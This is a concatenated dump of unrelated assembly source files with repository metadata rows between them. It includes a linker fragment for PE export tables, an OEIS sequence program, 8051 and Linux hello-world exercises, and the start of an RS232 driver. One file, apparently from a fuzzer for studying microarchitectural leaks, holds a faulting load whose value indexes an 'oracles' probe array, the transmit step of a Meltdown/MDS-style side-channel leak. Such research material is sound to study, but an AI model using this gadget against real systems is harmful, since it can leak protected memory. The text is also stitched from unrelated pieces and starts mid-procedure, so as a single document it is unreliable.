ADD ECX,EAX
MOV PEEXP_NAME_PTRS_FA,ECX
ADD EAX,EBX
MOV ECX,EDI
MOV EBX,N_EXPORTS_BYNAME
MOV PEEXP_DIR._PEEXP_ORDINALS_RVA,EAX
ADD EBX,EBX
ADD ECX,EAX
ADD EAX,EBX
MOV PEEXP_ORDINALS_FA,ECX
ADD EDI,EAX
MOV NEXT_STRING_RVA,EAX
LEA EAX,PTRS_BUFFER
MOV PEEXP_STRINGS_FA,EDI
MOV NAME_PTRS_PTR,EAX
MOV NAME_PTRS_LEFT,N_PTRS_ALLOWED
LEA EAX,ORDS_BUFFER
MOV ECX,OFF TEMP_RECORD
MOV ORDINALS_LEFT,N_ORDS_ALLOWED
MOV ORDINALS_PTR,EAX
MOV STRINGS_PTR,ECX
MOV STRING_BYTES_LEFT,MAX_RECORD_LEN
;
;MOVE .DLL NAME
;
MOV ECX,DPTR MODULE_NAME
MOV EAX,OFF MODULE_NAME+4
INC ECX
CALL MOVE_STRING ;RETURNS DX:AX AS RVA
MOV PEEXP_DIR._PEEXP_NAME_RVA,EAX
;
;STORE DIR
;
LEA EAX,PEEXP_DIR
MOV ECX,SIZE PE_EXPORT_DIR_STRUCT
CALL MOVE_EAX_TO_FINAL_HIGH_WATER
;
;SET UP CURN_ORDNUM STUFF
;
CALL NEXT_ORDNUM_INIT
;
;NOW SCAN FOR DECLARED ENTRY POINTS...
;
CALL TBLINIT
JMP L3$
L1$:
CALL HANDLE_ENTRY
L3$:
CALL TBLNEXT
JNZ L1$
XOR EAX,EAX
XCHG EAX,ENTRYNAME_BITS
TEST EAX,EAX
JZ L5$
CALL RELEASE_BLOCK
L5$:
RESS STORE_DSSICX_USE_ZERO
;
;FLUSH EXPORT DATA TO OUTPUT FILE
;
CALL FLUSH_EXPORTS_STRUCTURE
CALL FLUSH_NAME_PTRS
CALL FLUSH_ORDINALS
CALL FLUSH_STRING_BUFFER
if V5
CALL OUTPUT_DIN ;IF REQUESTED
CALL OUTPUT_LIB ;IF REQUESTED
endif
CALL UNUSE_ENTRYNAMES ;FREE UP THAT STORAGE IF .MAP DOESN'T NEED IT...
CALL UNUSE_SORTED_EXPORTS
L8$:
MOV ESP,EBP
POP EBP
RET
PE_OUTPUT_EXPORTS ENDP
HANDLE_ENTRY PROC NEAR PRIVATE
;
;EAX IS ENTRYNAME_GINDEX
;
CONVERT EAX,EAX,ENTRYNAME_GARRAY
ASSUME EAX:PTR ENT_STRUCT
MOV ESI,EAX
ASSUME ESI:PTR ENT_STRUCT
MOV EAX,[EAX]._ENT_ORD
TEST EAX,EAX ;WAS ORDINAL # SPECIFIED?
JNZ L1$
CALL GET_NEXT_ORDNUM
MOV [ESI]._ENT_ORD,EAX
L1$:
LEA EDI,ENT_STUFF
MOV ECX,ENT_STRUCT._ENT_TEXT/4
REP MOVSD
MOV EDI,OFF SYMBOL_TEXT
CALL MOVE_ASCIZ_ESI_EDI
SUB EDI,OFF SYMBOL_TEXT
MOV AL,ENT_STUFF._ENT_FLAGS
MOV SYMBOL_LENGTH,EDI
GETT AH,ALL_EXPORTS_BY_ORDINAL
;
;DO WE OUTPUT THIS GUY'S NAME?
;
TEST AL,MASK ENT_BYNAME ;IF EXPORTING THIS BY NAME, ADD IN THIS NAME SIZE
JNZ L33$
TEST AL,MASK ENT_NONAME
JNZ L49$
OR AH,AH
JNZ L32$
TEST AL,MASK ENT_ORD_SPECIFIED
JZ L33$
L32$:
GETT AL,KILL_NONRESIDENT_NAMES
OR AL,AL
JNZ L49$
L33$:
MOV ECX,SYMBOL_LENGTH
MOV EAX,OFF SYMBOL_TEXT
INC ECX
CALL MOVE_STRING
CALL STORE_NAME_PTR ;ITS RVA IS IN EAX
MOV EAX,ENT_STUFF._ENT_ORD
CALL STORE_ORDINAL ;
L49$:
;
;ORDINAL IS SPECIFIED, STORE IN EXPORT_ADDRESS TABLE
;
MOV ESI,ENT_STUFF._ENT_INTERNAL_NAME_GINDEX
CONVERT ESI,ESI,SYMBOL_GARRAY
ASSUME ESI:PTR SYMBOL_STRUCT
MOV AL,[ESI]._S_NSYM_TYPE
CMP AL,NSYM_RELOC
JNZ L51$
L52$:
MOV EAX,[ESI]._S_OFFSET
MOV EDX,PE_BASE
SUB EAX,EDX
JMP STORE_EXPORT_ADDRESS
L51$:
CMP AL,NSYM_CONST
JZ L52$
CMP AL,NSYM_ASEG
JZ L52$
MOV AX,EXP_CONST_ERR
LEA ECX,[ESI]._S_NAME_TEXT
CALL ERR_ASCIZ_RET
JMP L52$
ASSUME ESI:NOTHING
HANDLE_ENTRY ENDP
STORE_EXPORT_ADDRESS PROC NEAR
;
;EAX IS ADDRESS TO STORE FOR ORDINAL
;
PUSH EBX
MOV EXP_TEMP,EAX
MOV EBX,ENT_STUFF._ENT_ORD
MOV ECX,EXPORT_ORDINAL_BASE
SUB EBX,ECX
MOV ECX,4
SHL EBX,2
LEA EDX,PE_EXPORTS_STRUCTURE
LEA EAX,EXP_TEMP
CALL STORE_EAXECX_EDXEBX_RANDOM
POP EBX
RET
STORE_EXPORT_ADDRESS ENDP
STORE_ORDINAL PROC NEAR
;
;AX IS ORDINAL TO STORE
;
MOV EDX,ORDINALS_PTR
MOV ECX,EXPORT_ORDINAL_BASE
SUB EAX,ECX
MOV ECX,ORDINALS_LEFT
MOV WPTR [EDX],AX
ADD EDX,2
DEC ECX
MOV ORDINALS_PTR,EDX
MOV ORDINALS_LEFT,ECX
JZ FLUSH_ORDINALS
RET
STORE_ORDINAL ENDP
FLUSH_ORDINALS PROC NEAR
;
;
;
LEA EAX,ORDS_BUFFER
MOV ECX,ORDINALS_PTR
MOV ORDINALS_LEFT,N_ORDS_ALLOWED
SUB ECX,EAX
JZ L9$
MOV EDX,PEEXP_ORDINALS_FA
MOV ORDINALS_PTR,EAX
ADD PEEXP_ORDINALS_FA,ECX
JMP MOVE_EAX_TO_EDX_FINAL
L9$:
RET
FLUSH_ORDINALS ENDP
STORE_NAME_PTR PROC NEAR
;
;DX:AX IS ADDRESS TO STORE
;
MOV EDX,NAME_PTRS_PTR
MOV ECX,NAME_PTRS_LEFT
MOV [EDX],EAX
ADD EDX,4
DEC ECX
MOV NAME_PTRS_PTR,EDX
MOV NAME_PTRS_LEFT,ECX
JZ FLUSH_NAME_PTRS
RET
STORE_NAME_PTR ENDP
FLUSH_NAME_PTRS PROC NEAR
;
;
;
LEA EAX,PTRS_BUFFER
MOV ECX,NAME_PTRS_PTR
MOV NAME_PTRS_LEFT,N_PTRS_ALLOWED
SUB ECX,EAX
JZ L9$
MOV EDX,PEEXP_NAME_PTRS_FA
MOV NAME_PTRS_PTR,EAX
ADD PEEXP_NAME_PTRS_FA,ECX
JMP MOVE_EAX_TO_EDX_FINAL
L9$:
RET
FLUSH_NAME_PTRS ENDP
MOVE_STRING PROC NEAR
;
;EAX IS STRING TO MOVE
;ECX IS LENGTH
;
;RETURNS RVA IN EAX
;
PUSH ESI
MOV ESI,EAX
MOV EDX,STRING_BYTES_LEFT
PUSH EDI
SUB EDX,ECX
JC L5$
L0$:
MOV STRING_BYTES_LEFT,EDX
MOV EDI,STRINGS_PTR
MOV EAX,NEXT_STRING_RVA
MOV EDX,ECX
OPTI_MOVSB
ADD EDX,EAX
MOV STRINGS_PTR,EDI
MOV NEXT_STRING_RVA,EDX
POP EDI
POP ESI
RET
L5$:
PUSH ECX
CALL FLUSH_STRING_BUFFER
POP ECX
MOV EDX,STRING_BYTES_LEFT
SUB EDX,ECX
JMP L0$
MOVE_STRING ENDP
FLUSH_STRING_BUFFER PROC NEAR
;
;
;
MOV ECX,MAX_RECORD_LEN
MOV EAX,STRING_BYTES_LEFT
MOV STRING_BYTES_LEFT,ECX
SUB ECX,EAX
MOV EDX,PEEXP_STRINGS_FA
JZ L9$
LEA EAX,[ECX+EDX]
MOV PEEXP_STRINGS_FA,EAX
MOV EAX,OFF TEMP_RECORD
MOV STRINGS_PTR,EAX
JMP MOVE_EAX_TO_EDX_FINAL
L9$:
RET
FLUSH_STRING_BUFFER ENDP
TBLINIT PROC PRIVATE
;
;
;
MOV ESI,OFF EXP_BUFFER+4 ;TABLE OF BLOCKS OF INDEXES
LODSD ;FIRST BLOCK
MOV WM_BLK_PTR,ESI ;POINTER TO NEXT BLOCK
TEST EAX,EAX
JZ L9$
;
MOV WM_PTR,EAX ;PHYSICAL POINTER TO NEXT INDEX TO PICK
ADD EAX,PAGE_SIZE
MOV WM_PTR_LIMIT,EAX
L9$:
RET
TBLINIT ENDP
TBLNEXT PROC PRIVATE
;
;GET NEXT SYMBOL INDEX IN AX, DS:SI POINTS
;
MOV ECX,WM_PTR
MOV EDX,WM_PTR_LIMIT
CMP ECX,EDX
JZ L5$
MOV EAX,[ECX] ;NEXT INDEX
ADD ECX,4
TEST EAX,EAX
MOV WM_PTR,ECX ;UPDATE POINTER
RET
L5$:
;
;NEXT BLOCK
;
MOV ECX,WM_BLK_PTR
MOV EAX,[ECX]
ADD ECX,4
MOV WM_PTR,EAX
ADD EAX,PAGE_SIZE
MOV WM_BLK_PTR,ECX
MOV WM_PTR_LIMIT,EAX
JMP TBLNEXT
TBLNEXT ENDP
GET_NEXT_ORDNUM PROC NEAR
;
;SCAN FOR NEXT AVAILABLE ORDINAL #... THEN MARK IT USED
;
MOV ECX,CURN_ORDNUM_DWORD
MOV EAX,CURN_ORDNUM
TEST ECX,ECX
JZ L5$
L1$:
SHR ECX,1
INC EAX
JNC L1$
MOV CURN_ORDNUM_DWORD,ECX
MOV CURN_ORDNUM,EAX
DEC EAX
RET
L5$:
MOV EDX,ORDBITS_PTR
MOV EAX,ORDBITS_NUMBER
L6$:
MOV ECX,[EDX]
ADD EDX,4
ADD EAX,32
INC ECX
JZ L6$
DEC ECX
MOV ORDBITS_NUMBER,EAX
XOR ECX,-1
MOV ORDBITS_PTR,EDX
JMP L1$
GET_NEXT_ORDNUM ENDP
NEXT_ORDNUM_INIT PROC NEAR
;
;
;
PUSH ESI
MOV ESI,ENTRYNAME_BITS ;TABLE OF BITS SET FOR EACH ORDINAL IN USE
XOR EDX,EDX
MOV EAX,EXPORT_ORDINAL_BASE ;DELTA ON ORDINALS
CMP EAX,32
JB L5$
MOV ECX,EAX
AND ECX,NOT 1FH ;SAVE BITS MORE SIGNIFICANT THAN 31
MOV EDX,ECX
SHR ECX,3 ;8 BITS PER BYTE
ADD ESI,ECX
AND EAX,1FH
L5$:
MOV ECX,[ESI]
ADD ESI,4
NOT ECX
MOV ORDBITS_NUMBER,EDX
MOV ORDBITS_PTR,ESI
TEST EAX,EAX ;ANY MORE BITS TO SKIP ?
JZ L8$
L6$:
SHR ECX,1
INC EDX
DEC EAX
JNZ L6$
L8$:
MOV CURN_ORDNUM_DWORD,ECX
MOV CURN_ORDNUM,EDX
POP ESI
RET
NEXT_ORDNUM_INIT ENDP
FLUSH_EXPORTS_STRUCTURE PROC
;
;FLUSH ANY DATA TO OUTPUT FILE, RELEASING STORAGE
;
PUSHM EDI,ESI,EBX
LEA EBX,PE_EXPORTS_STRUCTURE
ASSUME EBX:PTR SEQ_STRUCT
MOV ECX,[EBX]._SEQ_PTR ;# OF BYTES IN TABLE
LEA EBX,[EBX]._SEQ_TABLE
ASSUME EBX:NOTHING
TEST ECX,ECX
JZ L9$
L1$:
; MOV EAX,[EBX]
CALL CONVERT_SUBBX_TO_EAX ;THERE MIGHT BE HOLES...
ADD EBX,4
;
;IF ECX > PAGE_SIZE, WRITE PAGE_SIZE
;
PUSHM ECX,EAX
CMP ECX,PAGE_SIZE
JB L2$
MOV ECX,PAGE_SIZE
L2$:
PUSH ECX
MOV EDX,PEEXP_ADDRESSES_FA
ADD PEEXP_ADDRESSES_FA,ECX
CALL MOVE_EAX_TO_EDX_FINAL
POP EDX ;BYTES MOVED
POP EAX ;BLOCK ADDRESS
POP ECX ;TOTAL BYTES TO MOVE
CALL RELEASE_BLOCK
SUB ECX,EDX
JNZ L1$
L9$:
POPM EBX,ESI,EDI
RET
FLUSH_EXPORTS_STRUCTURE ENDP
endif
PUBLIC UNUSE_ENTRYNAMES
UNUSE_ENTRYNAMES PROC
;
;I AM DONE USING ENTRYNAME TABLE, AM I THE LAST?
;
DEC EXPORT_TABLE_USE
JZ RELEASE_ENTRYNAME_TABLE
RET
UNUSE_ENTRYNAMES ENDP
RELEASE_ENTRYNAME_TABLE PROC NEAR
;
;
;
MOV EAX,OFF ENTRYNAME_STUFF
push EAX
call _release_minidata
add ESP,4
MOV EAX,OFF ENTRYNAME_GARRAY
JMP RELEASE_GARRAY
RELEASE_ENTRYNAME_TABLE ENDP
END
| 14.923353 | 100 | 0.736859 |
1376e722ada0e3950506a109b9dbd1347725ed71 | 7,348 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_485.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_485.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_485.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x4f88, %r8
nop
nop
nop
nop
nop
and %r14, %r14
movb (%r8), %dl
xor $45398, %rax
lea addresses_normal_ht+0x19148, %rsi
lea addresses_WC_ht+0x1a4d8, %rdi
nop
nop
nop
nop
add %r10, %r10
mov $76, %rcx
rep movsl
nop
nop
cmp $34934, %rsi
lea addresses_WT_ht+0x1b8c8, %r10
clflush (%r10)
nop
nop
xor %r8, %r8
vmovups (%r10), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rax
nop
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x20c8, %rsi
nop
xor %r10, %r10
mov $0x6162636465666768, %rdx
movq %rdx, %xmm4
vmovups %ymm4, (%rsi)
nop
nop
nop
nop
nop
cmp %rdx, %rdx
lea addresses_UC_ht+0xecc8, %rsi
lea addresses_UC_ht+0xe448, %rdi
clflush (%rdi)
nop
nop
add %r14, %r14
mov $126, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $46550, %r8
lea addresses_WC_ht+0x92c8, %rsi
nop
nop
nop
cmp $16417, %rdi
movb $0x61, (%rsi)
nop
cmp $39282, %rdx
lea addresses_D_ht+0xf0c8, %rsi
lea addresses_normal_ht+0xc100, %rdi
nop
add %r8, %r8
mov $46, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rax
lea addresses_D_ht+0x50c8, %rsi
lea addresses_A_ht+0x78c8, %rdi
nop
nop
nop
nop
nop
add $2858, %rax
mov $113, %rcx
rep movsb
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x18c8, %rsi
lea addresses_A_ht+0xbcad, %rdi
nop
nop
dec %rdx
mov $97, %rcx
rep movsb
nop
nop
nop
nop
inc %r14
lea addresses_normal_ht+0x5d6d, %rsi
lea addresses_D_ht+0x127de, %rdi
cmp $17320, %r8
mov $82, %rcx
rep movsw
and %rsi, %rsi
lea addresses_D_ht+0x3148, %rdx
nop
nop
add %r10, %r10
mov (%rdx), %rdi
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x16c8, %r10
clflush (%r10)
nop
nop
cmp $7873, %rcx
movw $0x6162, (%r10)
nop
nop
nop
inc %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %rax
push %rdi
push %rsi
// Store
lea addresses_normal+0x7c52, %rdi
nop
nop
cmp %rsi, %rsi
movw $0x5152, (%rdi)
cmp %rax, %rax
// Faulty Load
lea addresses_A+0x1f0c8, %r10
nop
xor $11952, %r11
mov (%r10), %r14d
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rax
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': True, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.497653 | 2,999 | 0.659091 |
4039108f2beb88eae29d618ff637e1e344fffd1b | 826 | asm | Assembly | oeis/288/A288260.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/288/A288260.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/288/A288260.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A288260: a(n) = 2*a(n-1) + 2*a(n-3) - 3*a(n-4), where a(0) = 2, a(1) = 4, a(2) = 8, a(3) = 16.
; Submitted by Stefano Spezia
; 2,4,8,16,34,72,152,324,690,1468,3128,6664,14194,30240,64424,137244,292386,622900,1327016,2827072,6022786,12830904,27334904,58234164,124061778,264300652,563064920,1199550904,2555517778,5444263440,11598433928,24709250700,52640474946,112145027428,238913254472,508979706736,1084328043490,2310047513640,4921314677336,10484346321444,22335803539698,47584093893148,101372936397176,215964440909416,460089658986034,980172909086976,2088155890801256,4448597776846332,9477272394908514,20190337844158612
mov $2,1
mov $4,2
lpb $0
sub $0,1
sub $2,$3
mov $3,1
add $3,$1
add $1,$3
add $4,1
add $4,$1
mov $1,$2
mov $2,$4
mov $4,$3
mul $4,2
add $4,$2
lpe
mov $0,$4
sub $0,2
div $0,2
add $0,2
| 33.04 | 491 | 0.726392 |
7d0bed5d25c068417f788a7814cfe8ed6b584d68 | 271 | a51 | Assembly | Lab_2/Task_3.a51 | DeeptimaanB/8051_Programs | d65b45d906caac16859129082431fa196ac4db56 | [
"BSD-3-Clause"
] | null | null | null | Lab_2/Task_3.a51 | DeeptimaanB/8051_Programs | d65b45d906caac16859129082431fa196ac4db56 | [
"BSD-3-Clause"
] | null | null | null | Lab_2/Task_3.a51 | DeeptimaanB/8051_Programs | d65b45d906caac16859129082431fa196ac4db56 | [
"BSD-3-Clause"
] | 1 | 2021-09-19T12:10:50.000Z | 2021-09-19T12:10:50.000Z | ;Write an 8051 ASM program to perform addition of two 16-bit numbers.
;The numbers are 3CE7H and 3B8DH. Place the sum in R7 and R6; R6 should have the lower byte
ORG 0000H
MOV A,#0E7H
ADD A,#8DH
MOV R6,A
MOV A,#3CH
ADDC A,#3BH
MOV R7,A
END ;Deeptimaan Banerjee | 24.636364 | 92 | 0.723247 |
99fa7fb6952fceb8b2507fb397416f2550a5ff14 | 1,474 | asm | Assembly | symbolinen_konekieli/Linux/eka_64.asm | tkukka/VariousContent | f7e7ae98ff8521c6c709dabe30855104afe3fe04 | [
"MIT"
] | null | null | null | symbolinen_konekieli/Linux/eka_64.asm | tkukka/VariousContent | f7e7ae98ff8521c6c709dabe30855104afe3fe04 | [
"MIT"
] | null | null | null | symbolinen_konekieli/Linux/eka_64.asm | tkukka/VariousContent | f7e7ae98ff8521c6c709dabe30855104afe3fe04 | [
"MIT"
] | null | null | null | BITS 64
DEFAULT REL
laitetulostus EQU 1
stdout EQU 1
loppu_hyvin EQU 0
lopetus EQU 60
SECTION .rodata
viesti db "Ääkköset äöåÄÖÅ. Хорошо Müller Straße",10,0
viestin_pituus EQU $ - viesti
toinen_viesti db "Toinenkin tuloste.",10,0
toisen_viestin_pituus EQU $ - toinen_viesti
SECTION .text
GLOBAL _start:function
_start: mov edx, viestin_pituus ;RDX yläosa = 0
mov rsi, viesti
mov edi, stdout ;RDI yläosa = 0
mov eax, laitetulostus ;RAX yläosa = 0
syscall
mov edx, toisen_viestin_pituus ;RDX yläosa = 0
mov rsi, toinen_viesti
mov edi, stdout ;RDI yläosa = 0
mov eax, laitetulostus ;RAX yläosa = 0
syscall
mov edi, loppu_hyvin ;RDI yläosa = 0
mov eax, lopetus ;RAX yläosa = 0
syscall
| 39.837838 | 80 | 0.358209 |
44ec1ef068e960ceff5db1aa780660ed1fb4074d | 187 | asm | Assembly | Week_10/11 - jg.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | 1 | 2021-08-10T13:39:26.000Z | 2021-08-10T13:39:26.000Z | Week_10/11 - jg.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | null | null | null | Week_10/11 - jg.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | null | null | null | .model small
.data
.code
main proc
mov ax,5
cmp ax,4
jg L1 ; jump if greater
quit: ret
L1: mov dx,ax ; do something..
endp
end main | 12.466667 | 48 | 0.497326 |
b4537e64f20fe79a51a5cb7f5ab100eed6171817 | 404 | asm | Assembly | programs/oeis/047/A047674.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/047/A047674.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/047/A047674.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A047674: Row 5 of square array defined in A047671.
; 1,16,91,346,1021,2524,5479,10774,19609,33544,54547,85042,127957,186772,265567,369070,502705,672640,885835,1150090,1474093,1867468,2340823,2905798,3575113,4362616,5283331,6353506,7590661,9013636
lpb $0
mov $2,$0
sub $0,1
seq $2,8413 ; Coordination sequence for 5-dimensional cubic lattice.
add $1,$2
lpe
div $1,2
mul $1,3
add $1,1
mov $0,$1
| 28.857143 | 195 | 0.74505 |
404506b5f9bb36a85aee9af1f5afa37c37413f69 | 40,039 | asm | Assembly | OSSOURCE/rs232.asm | mooseman/smallOS | a4468b69e8372350310828d5b72b56fb5e3a0fa8 | [
"Unlicense"
] | 3 | 2015-11-05T09:13:10.000Z | 2021-03-24T13:30:27.000Z | OSSOURCE/rs232.asm | mooseman/smallOS | a4468b69e8372350310828d5b72b56fb5e3a0fa8 | [
"Unlicense"
] | null | null | null | OSSOURCE/rs232.asm | mooseman/smallOS | a4468b69e8372350310828d5b72b56fb5e3a0fa8 | [
"Unlicense"
] | 1 | 2017-03-30T12:46:43.000Z | 2017-03-30T12:46:43.000Z | ; RS232.ASM
; Written by Richard A. Burgess
; This code is released to the public domain.
; "Share and enjoy....." ;)
.DATA
EXTRN _AllocExch FWORD
